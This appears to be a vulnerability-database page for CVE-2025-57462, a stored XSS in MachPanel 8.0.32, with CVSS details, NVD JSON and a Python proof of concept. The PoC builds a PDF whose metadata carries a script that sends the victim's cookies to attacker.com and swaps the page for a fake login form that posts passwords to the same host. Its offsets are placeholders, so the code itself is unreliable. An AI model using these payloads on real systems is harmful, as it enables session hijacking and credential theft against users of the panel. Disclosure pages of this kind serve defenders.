Security Vulnerability Report
中文
CVE-2025-57462 CVSS 6.1 MEDIUM

CVE-2025-57462

Published: 2025-12-29 15:16:01
Last Modified: 2025-12-31 20:13:39

Description

Stored cross-site scripting (xss) in machsol machpanel 8.0.32 allows attackers to execute arbitrary web scripts or HTML via a crafted PDF file.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:* - VULNERABLE
MachPanel 8.0.32 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-57462 PoC - MachPanel Stored XSS via Malicious PDF Note: This is a proof-of-concept for educational and security testing purposes only. """ import sys def create_malicious_pdf(): """ Create a malicious PDF file with embedded JavaScript for XSS attack. This PoC demonstrates how an attacker could inject malicious scripts into PDF files that would be executed when viewed in MachPanel. """ # Malicious JavaScript payload for XSS xss_payload = '''<script> // Cookie stealing payload document.write('<img src="http://attacker.com/log?cookie=' + document.cookie + '"/>'); // Session hijacking example console.log('Stolen cookies: ' + document.cookie); // DOM manipulation to display fake content document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/phish">Enter credentials: <input name="pwd"/></form>'; </script>''' # Basic PDF structure with XSS payload in metadata pdf_content = f'''%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (MDF Viewer - MachPanel) Tj ET endstream endobj 5 0 obj << /Type /Metadata /Length 500 >> stream <?xml version="1.0"?> <x:xmpmeta xmlns:x="adobe:ns:meta/"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:title>{xss_payload}</dc:title> <dc:creator>Attacker</dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> endstream endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000266 00000 n 0000000320 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 900 %%EOF''' return pdf_content def main(): print("="*60) print("CVE-2025-57462 PoC - MachPanel Stored XSS") print("="*60) print("\n[!] This PoC is for educational purposes only.") print("[!] Unauthorized access to systems is illegal.") print("\n[+] Creating malicious PDF file...") malicious_pdf = create_malicious_pdf() filename = "malicious_document.pdf" with open(filename, 'w') as f: f.write(malicious_pdf) print(f"[+] Malicious PDF created: {filename}") print("\n[+] Attack Vector:") print(" 1. Upload the malicious PDF to MachPanel 8.0.32") print(" 2. When users view the PDF, XSS payload executes") print(" 3. Attacker can steal cookies, session tokens, etc.") print("\n[+] Recommended Fix: Upgrade to MachPanel latest version") return 0 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57462", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:01.410", "lastModified": "2025-12-31T20:13:38.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting (xss) in machsol machpanel 8.0.32 allows attackers to execute arbitrary web scripts or HTML via a crafted PDF file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:*", "matchCriteriaId": "A47E4083-597E-43A8-97E5-405086A2A6A3"}]}]}], "references": [{"url": "https://github.com/aljoharasubaie/CVE-2025-57462/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.machsol.com/", "source": "[email protected]", "tags": ["Product"]}]}}